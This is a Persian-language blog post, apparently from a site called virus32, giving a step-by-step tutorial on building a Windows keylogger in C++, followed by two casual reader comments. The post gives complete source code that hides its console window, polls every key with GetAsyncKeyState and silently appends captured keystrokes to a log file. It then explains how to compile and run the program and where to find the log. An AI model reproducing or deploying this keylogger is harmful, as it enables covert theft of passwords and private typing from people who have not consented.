آموزش ساخت یه کیلاگر ساده به زبان سی پلاس پلاس
البته قبلا پستای خیلی زیادی در رابطه با ساخت کیلاگر به زبان های
سی شارپ و پایتون و ویژوال بیسیک و کیلاگر تحت وب
نوشته شده
دیدم جای آموزش ساخت کیلاگر برای سی پلاس پلاس خالیه بخاطر همین تصمیم گرفتم آموزش ساختشو با این زبان هم بگم که هم بعد یه مدت یه چیزی به اشتراک گذاشته باشیم و هم ....
اگه از ویژوال استفاده میکنین توی هدر کدها ، تیکه کد پایین رو اضافه کنین
#include "stdafx"
اما اگه از محیط های دیگه استفاده میکنین مثل ++ Dev C و ... (مثل من)
کدهای پایین رو کپی کنین به جای همه ی کدهاتون :(
#include <iostream>
#include <fstream>
#include <stdlib.h>
#include <string>
#include <Windows.h> using namespace std; bool input(int key); void write(char* in); int main() { FreeConsole(); char key; //http://virus32.blog.ir while (TRUE) { Sleep(10); for (key = 8; key <= 190; key++) { if (GetAsyncKeyState(key) == -32767) { if (input(key) == FALSE) { cout << key; ofstream outfile; outfile.open("v32-log.txt", ofstream::app); outfile << key; outfile.close(); } else { } } } } return EXIT_SUCCESS; } void write(char* in){ ofstream out("v32-log.txt",fstream::app); out <<in; out.close(); } //http://virus32.blog.ir bool input(int key){ switch(key){ case VK_SPACE: cout << " "; write(" "); break; case VK_RETURN: cout << "\n"; write("\n"); break; case VK_ADD: cout << "+"; write("+"); break; case VK_BACK: cout << "\b"; write("\b"); break; case VK_TAB: cout << "\t"; write("\t"); break; case VK_SHIFT: cout << "'Shift'"; write("'Shift'"); break; default:return false; } }
حالا یبار برنامه رو استارت کنین و بعدش از تسک منیجر ببندین
حالا وارد مسیر پروژه بشین :
C:\Users\ViRus32\Desktop\v32\bin\Debug
برنامه ی کامپایل شده رو کپی کنین توی دسکتاپ و اجرا کنین
حالا بعد از یه خرده تایپ و ... میبینین که کنار برنامه یه فایل ایجاد میشه به نام v32-log.txt و کلید های فشرده شده ی ما داخلش ذخیره میشه
البته اگه دقت کنین کیلاگری که درست میکنیم به زبون خودمون خعلی مزخرفه :)
سعی میکنم کد کیلاگر بهتری رو براتون قرار بدم
موفق باشید
مثل همیشه عالی و ساده
=======
چه خبرا چ میکنی تلتم که دلیت کردی دلمون واست تنگ شده
کارات خوب پیش میره :-)